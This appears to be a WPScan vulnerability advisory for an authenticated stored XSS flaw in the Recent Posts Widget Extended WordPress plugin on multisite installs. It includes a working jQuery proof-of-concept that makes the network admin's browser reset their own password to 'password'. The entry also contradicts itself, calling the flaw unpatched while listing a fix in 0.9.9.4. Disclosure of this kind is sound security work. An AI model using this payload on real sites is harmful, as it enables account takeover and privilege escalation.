Recent Posts Widget Extended <= 0.9.9.3 - Authenticated XSS (multisite)

Sign up to our free email alerts service for instant vulnerability notifications!

Description
XSS in the Recent Posts Widget Extended plugin allows single site admins to change network admin's password with simple CSRF described above POC field.

This vulnerability is currently unpatched.
Proof of Concept
1. Login as single site administrator
2. Add Recent Posts Extended Widget to some widget area
3. Add following script to the widget's before or after html field and replace word 'superadmin' with multisite install's network admin login name.

    jQuery.get('/wp-admin/profile.php', function (data) {
        jQuery('body').append(data);

        setTimeout(function () {
            
            if (jQuery('#wpadminbar #wp-admin-bar-user-info span.username').first().text() === 'superadmin') {
                

                jQuery('.wp-generate-pw').trigger('click');
                jQuery('#pass1').val('password');
                jQuery('#submit').trigger('click');
                jQuery('#wp-admin-bar-logout a').trigger('click');

            }
        }, 2000);

    });

Affects

Plugin recent-posts-widget-extended
fixed in version 0.9.9.4

References

URL https://wordpress.org/plugins/recent-posts-widget-extended/changelog/
URL https://plugins.trac.wordpress.org/changeset?old_path=%2Frecent-posts-widget-extended%2Ftags%2F0.9.9.3&old=1350555&new_path=%2Frecent-posts-widget-extended%2Ftags%2F0.9.9.4&new=1350555&sfp_email=&sfph_mail=

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Mikko Virenius
Submitter Website http://www.valu.fi
Submitter Twitter @mikkovirenius
Views 83
Verified No
WPVDB ID 8391

Timeline

Publicly Published 2015-10-19 (about 1 year ago)
Added 2016-02-14 (10 months ago)
Last Updated 2016-02-14 (10 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.